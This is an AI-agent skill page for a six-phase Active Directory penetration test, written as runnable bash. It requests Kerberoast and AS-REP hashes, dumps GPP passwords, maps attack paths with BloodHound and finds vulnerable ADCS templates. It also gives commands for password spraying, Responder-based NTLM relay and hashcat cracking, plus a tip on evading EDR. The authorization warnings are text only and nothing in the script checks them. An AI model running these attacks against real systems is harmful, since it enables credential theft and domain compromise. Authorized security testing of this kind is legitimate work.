SuperAPI AI Directory

ad-pentest

Security & auditing

View repository

Updated 10-16 05:38

About this skill

What this skill does

Performs a structured Active Directory penetration test across six phases: unauthenticated enumeration, authenticated enumeration with BloodHound, credential attacks (Kerberoasting, AS-REP Roasting, NTLM relay), privilege escalation via ACL abuse and ADCS misconfigurations, lateral movement, and domain dominance. Produces a findings report with attack paths and remediation guidance.

AUTHORIZED TESTING ONLY. All techniques in this skill are for use exclusively in environments where written authorization has been obtained. Unauthorized use is illegal.

When to use

  • When performing an authorized internal penetration test of a Windows/AD environment
  • When assessing AD attack surface for a red team or security review engagement
  • When validating defensive controls (tiering, LAPS, Protected Users, Credential Guard)
  • When generating BloodHound attack path data for remediation prioritization

Prerequisites

# Python-based tools (run in authorized testing environment)
pip install impacket ldapdomaindump bloodhound certipy-ad crackmapexec
Install kerbrute (Go)

go install github.com/ropnop/kerbrute@latest

Install Responder

git clone https://github.com/lgandx/Responder /opt/Responder

BloodHound (GUI + neo4j) https://github.com/BloodHoundAD/BloodHound/releases For Windows-side collection: SharpHound.exe / Rubeus.exe (authorized lab use)

## Inputs

| Variable | Required | Description |
|----------|----------|-------------|
| `SECSKILL_DC_IP` | required | Domain controller IP address |
| `SECSKILL_DOMAIN` | required | Target domain FQDN (e.g. `corp.example.com`) |
| `SECSKILL_DOMAIN_SHORT` | optional | NetBIOS domain name (e.g. `CORP`) |
| `SECSKILL_AD_USER` | optional | Authenticated domain username (phases 2–6) |
| `SECSKILL_AD_PASS` | optional | Authenticated domain password |
| `SECSKILL_AD_HASH` | optional | NTLM hash for pass-the-hash (format: `LM:NT`) |
| `SECSKILL_OUTPUT_DIR` | optional | Directory for results (default: `./output`) |

## Workflow

### Step 1: Unauthenticated enumeration

```bash
# AUTHORIZED TESTING ONLY — confirm written authorization before proceeding
export DC="${SECSKILL_DC_IP:?Set SECSKILL_DC_IP}"
export DOMAIN="${SECSKILL_DOMAIN:?Set SECSKILL_DOMAIN}"
export OUTDIR="${SECSKILL_OUTPUT_DIR:-./output}"
TIMESTAMP=$(date -u '+%Y%m%dT%H%M%SZ')
mkdir -p "$OUTDIR"

echo "[*] Phase 1: Unauthenticated enumeration"
UNAUTH_OUT="$OUTDIR/phase1_unauth_${TIMESTAMP}.txt"

# DC discovery via DNS SRV records
echo "--- DC discovery via DNS ---" | tee -a "$UNAUTH_OUT"
nslookup -type=SRV _ldap._tcp.dc._msdcs."$DOMAIN" "$DC" >> "$UNAUTH_OUT" 2>/dev/null
nslookup -type=SRV _kerberos._tcp."$DOMAIN" "$DC" >> "$UNAUTH_OUT" 2>/dev/null

# SMB signing check (required for NTLM relay feasibility)
echo "--- SMB signing check ---" | tee -a "$UNAUTH_OUT"
crackmapexec smb "$DC" 2>/dev/null | tee -a "$UNAUTH_OUT"

# LDAP anonymous bind check
echo "--- LDAP anonymous bind ---" | tee -a "$UNAUTH_OUT"
ldapsearch -x -H "ldap://$DC" -b "" -s base "(objectclass=*)" \
  namingContexts 2>/dev/null | tee -a "$UNAUTH_OUT"

# Password policy (null session)
echo "--- Password policy via null session ---" | tee -a "$UNAUTH_OUT"
crackmapexec smb "$DC" --pass-pol 2>/dev/null | tee -a "$UNAUTH_OUT"

# User enumeration via Kerberos (AS-REQ pre-auth timing)
echo "--- Kerberos user enumeration ---" | tee -a "$UNAUTH_OUT"
echo "Note: provide a userlist file at \$OUTDIR/userlist.txt for kerbrute"
if [ -f "$OUTDIR/userlist.txt" ]; then
  kerbrute userenum --dc "$DC" --domain "$DOMAIN" "$OUTDIR/userlist.txt" \
    -o "$OUTDIR/kerbrute_valid_users.txt" 2>&1 | tee -a "$UNAUTH_OUT"
fi

# LLMNR/NBT-NS poisoning readiness check (passive — do not activate without auth)
echo "--- LLMNR/NBT-NS poisoning (detection only — do not start Responder without auth) ---" \
  | tee -a "$UNAUTH_OUT"
echo "  Run: sudo python3 /opt/Responder/Responder.py -I <interface> -A (analyze mode only)" \
  >> "$UNAUTH_OUT"

echo "[+] Phase 1 output: $UNAUTH_OUT"

Step 2: Authenticated enumeration (BloodHound)

# AUTHORIZED TESTING ONLY
export USER="${SECSKILL_AD_USER:?Set SECSKILL_AD_USER for authenticated phases}"
export PASS="${SECSKILL_AD_PASS:?Set SECSKILL_AD_PASS}"
echo "[*] Phase 2: Authenticated enumeration"
AUTH_OUT="$OUTDIR/phase2_auth_${TIMESTAMP}.txt"

# BloodHound Python collection (all methods)
echo "--- BloodHound collection ---" | tee -a "$AUTH_OUT"
bloodhound-python \
  -u "$USER" -p "$PASS" \
  -d "$DOMAIN" -dc "$DC" \
  -c All \
  --zip \
  -o "$OUTDIR/bloodhound_${TIMESTAMP}/" 2>&1 | tee -a "$AUTH_OUT"

# LDAP domain dump
echo "--- LDAP domain dump ---" | tee -a "$AUTH_OUT"
ldapdomaindump \
  -u "${DOMAIN}\\${USER}" -p "$PASS" \
  "ldap://$DC" \
  -o "$OUTDIR/ldapdump_${TIMESTAMP}/" 2>&1 | tee -a "$AUTH_OUT"

# GPO enumeration
echo "--- GPO enumeration ---" | tee -a "$AUTH_OUT"
python3 -m impacket.examples.GetADUsers \
  -all "${DOMAIN}/${USER}:${PASS}" \
  -dc-ip "$DC" 2>/dev/null | tee -a "$AUTH_OUT"

# SPN enumeration (Kerberoastable accounts)
echo "--- SPN enumeration (Kerberoastable accounts) ---" | tee -a "$AUTH_OUT"
python3 -m impacket.examples.GetUserSPNs \
  "${DOMAIN}/${USER}:${PASS}" \
  -dc-ip "$DC" \
  -request \
  -outputfile "$OUTDIR/kerberoast_hashes.txt" 2>&1 | tee -a "$AUTH_OUT"

# AS-REP Roastable accounts (no pre-auth required)
echo "--- AS-REP Roasting candidates ---" | tee -a "$AUTH_OUT"
python3 -m impacket.examples.GetNPUsers \
  "${DOMAIN}/${USER}:${PASS}" \
  -dc-ip "$DC" \
  -request \
  -outputfile "$OUTDIR/asrep_hashes.txt" \
  -format hashcat 2>&1 | tee -a "$AUTH_OUT"

# ADCS enumeration with Certipy
echo "--- ADCS certificate template enumeration ---" | tee -a "$AUTH_OUT"
certipy find \
  -u "${USER}@${DOMAIN}" -p "$PASS" \
  -dc-ip "$DC" \
  -vulnerable \
  -output "$OUTDIR/certipy_${TIMESTAMP}" 2>&1 | tee -a "$AUTH_OUT"

echo "[+] Phase 2 output: $AUTH_OUT"
echo "[!] Import BloodHound ZIP into BloodHound GUI for attack path analysis"

Step 3: Credential attacks

# AUTHORIZED TESTING ONLY — password spraying can lock accounts; verify lockout threshold first
echo "[*] Phase 3: Credential attacks"
CRED_OUT="$OUTDIR/phase3_credentials_${TIMESTAMP}.txt"

# Password spraying (respect lockout policy — default: 1 attempt per 30 min)
echo "--- Password spraying (1 attempt per user) ---" | tee -a "$CRED_OUT"
echo "Note: check password policy from Phase 1 before spraying"
echo "  Run: crackmapexec smb $DC -u userlist.txt -p 'Password1' --no-bruteforce" \
  >> "$CRED_OUT"

# Crack Kerberoast hashes
if [ -s "$OUTDIR/kerberoast_hashes.txt" ]; then
  echo "--- Cracking Kerberoast hashes (hashcat mode 13100) ---" | tee -a "$CRED_OUT"
  echo "  Run: hashcat -m 13100 $OUTDIR/kerberoast_hashes.txt /path/to/wordlist.txt" \
    >> "$CRED_OUT"
  echo "  Hashes saved to: $OUTDIR/kerberoast_hashes.txt" | tee -a "$CRED_OUT"
fi

# Crack AS-REP hashes
if [ -s "$OUTDIR/asrep_hashes.txt" ]; then
  echo "--- Cracking AS-REP hashes (hashcat mode 18200) ---" | tee -a "$CRED_OUT"
  echo "  Run: hashcat -m 18200 $OUTDIR/asrep_hashes.txt /path/to/wordlist.txt" \
    >> "$CRED_OUT"
  echo "  Hashes saved to: $OUTDIR/asrep_hashes.txt" | tee -a "$CRED_OUT"
fi

# NTLM relay setup instructions (requires SMB signing disabled — confirmed in Phase 1)
echo "--- NTLM relay (ntlmrelayx) ---" | tee -a "$CRED_OUT"
cat >> "$CRED_OUT" <<'RELAY'
  Prerequisites: SMB signing disabled on target (confirmed in Phase 1)
  Step 1 (terminal 1): sudo python3 /opt/Responder/Responder.py -I <iface> --disable-ess --lm
  Step 2 (terminal 2): python3 -m impacket.examples.ntlmrelayx -tf targets.txt -smb2support
  Purpose: Relay captured NTLM authentication to SMB targets
RELAY

# GPP cPassword check (legacy Group Policy Preferences)
echo "--- GPP cPassword (MS14-025) ---" | tee -a "$CRED_OUT"
python3 -m impacket.examples.Get-GPPPassword \
  "${DOMAIN}/${USER}:${PASS}" \
  -dc-ip "$DC" 2>&1 | tee -a "$CRED_OUT"

echo "[+] Phase 3 output: $CRED_OUT"

Step 4: Privilege escalation analysis

# AUTHORIZED TESTING ONLY
echo "[*] Phase 4: Privilege escalation analysis"
PRIVESC_OUT="$OUTDIR/phase4_privesc_${TIMESTAMP}.txt"

# Review Certipy ESC findings from Phase 2
echo "--- ADCS ESC vulnerability summary ---" | tee -a "$PRIVESC_OUT"
if [ -f "$OUTDIR/certipy_${TIMESTAMP}_Certipy.txt" ]; then
  grep -E "ESC[0-9]+" "$OUTDIR/certipy_${TIMESTAMP}_Certipy.txt" \
    | tee -a "$PRIVESC_OUT"
fi

> **Reference**: See [REFERENCE.md](REFERENCE.md) for Kerberos delegation abuse, ACL-based escalation paths, and ADCS ESC1–ESC11 variants.

echo "[+] Phase 4 output: $PRIVESC_OUT"
echo "[!] Load BloodHound data and run shortest-path queries to DA/EA"

Step 5: Lateral movement assessment

# AUTHORIZED TESTING ONLY
echo "[*] Phase 5: Lateral movement assessment"
LATERAL_OUT="$OUTDIR/phase5_lateral_${TIMESTAMP}.txt"

> **Reference**: See [REFERENCE.md](REFERENCE.md) for lateral movement technique commands (PtH, PtT, Overpass-the-Hash, remote execution, DCOM).

# Check WinRM access on reachable hosts
if [ -f "$OUTDIR/hosts_in_scope.txt" ]; then
  echo "--- WinRM reachability check ---" | tee -a "$LATERAL_OUT"
  crackmapexec winrm \
    -u "$USER" -p "$PASS" -d "$DOMAIN" \
    --target-file "$OUTDIR/hosts_in_scope.txt" 2>/dev/null \
    | tee -a "$LATERAL_OUT"
fi

echo "[+] Phase 5 output: $LATERAL_OUT"

Step 6: Generate findings report with remediation

echo "[*] Phase 6: Generating consolidated findings report"
REPORT="$OUTDIR/ad_pentest_report_${TIMESTAMP}.txt"

cat > "$REPORT" <<HEADER
=======================================================
  ACTIVE DIRECTORY PENETRATION TEST REPORT
  Domain    : $DOMAIN
  DC IP     : $DC
  Date      : $(date -u '+%Y-%m-%d %H:%M:%S UTC')
  Scope     : AUTHORIZED ASSESSMENT — $(hostname)
=======================================================

AUTHORIZATION: This assessment was conducted under written authorization.
All findings are for defensive improvement purposes only.

HEADER

# Append phase outputs
for PHASE_FILE in \
  "$UNAUTH_OUT" \
  "$AUTH_OUT" \
  "$CRED_OUT" \
  "$PRIVESC_OUT" \
  "$LATERAL_OUT"; do
  if [ -f "$PHASE_FILE" ]; then
    echo "" >> "$REPORT"
    echo "##############################################" >> "$REPORT"
    echo "# $(basename "$PHASE_FILE")" >> "$REPORT"
    echo "##############################################" >> "$REPORT"
    cat "$PHASE_FILE" >> "$REPORT"
  fi
done

> **Reference**: See [REFERENCE.md](REFERENCE.md) for remediation guidance covering Tier 0 hardening, Kerberos, ADCS, credential protection, ACL hygiene, and key monitoring event IDs.

echo "[+] Report written to $REPORT"
echo ""
echo "===== AD Pentest Assessment Summary ====="
echo "Domain        : $DOMAIN"
echo "DC IP         : $DC"
echo "BloodHound    : $OUTDIR/bloodhound_${TIMESTAMP}/"
echo "LDAP dump     : $OUTDIR/ldapdump_${TIMESTAMP}/"
echo "Kerberoast    : $OUTDIR/kerberoast_hashes.txt"
echo "AS-REP hashes : $OUTDIR/asrep_hashes.txt"
echo "ADCS findings : $OUTDIR/certipy_${TIMESTAMP}*"
echo "Full report   : $REPORT"
echo "=========================================="

Done when

  • Phase 1 unauthenticated enumeration output is saved (DC discovery, SMB signing, LDAP anon bind)
  • Phase 2 BloodHound ZIP is collected and ADCS templates enumerated
  • Phase 3 Kerberoast/AS-REP hashes captured (if any Kerberoastable/AS-REP-roastable accounts exist)
  • Phase 4 ADCS ESC findings and ACL escalation paths documented
  • Phase 5 lateral movement reachability checked against in-scope hosts
  • Consolidated report with remediation guidance is written to $SECSKILL_OUTPUT_DIR

Failure modes

Symptom Cause Resolution
KRB_ERR_CLIENT_REVOKED Account locked out Reduce spraying frequency; verify lockout threshold
bloodhound-python: no module named impacket/bloodhound not installed pip install bloodhound impacket
LDAP bind refused Anonymous bind disabled (default 2003+) Requires valid credentials; skip to Phase 2
certipy no CAs found No ADCS deployed or no permissions Skip ADCS phase; note in report
Responder not capturing LLMNR/NBT-NS disabled (good) Document as finding; move to authenticated attacks
crackmapexec SMB timeout Host firewalled or offline Verify host is in scope and reachable on port 445

Notes

  • AUTHORIZED TESTING ONLY. Every technique here generates Windows event log entries and can be detected by EDR/SIEM. Ensure engagement rules of engagement (ROE) are documented before starting.
  • BloodHound GUI queries for prioritized paths: "Shortest Paths to Domain Admins", "Principals with DCSync Rights", "Computers where Domain Users are Local Admins".
  • Run certipy-ad (Python) over Certify.exe (C#) when possible to avoid EDR detections on Windows binary execution.
  • ldapdomaindump output (HTML files) provides a human-readable inventory; import JSON output into BloodHound for path analysis.
  • Kerberoasting RC4 hashes (etype 0x17) are faster to crack than AES (0x11/0x12); document all etype 0x17 service accounts as findings even if not cracked.
  • For NTLM relay, confirm SMB signing is disabled (signing: False in CrackMapExec output) before activating Responder — relaying against signing-enabled hosts will fail silently.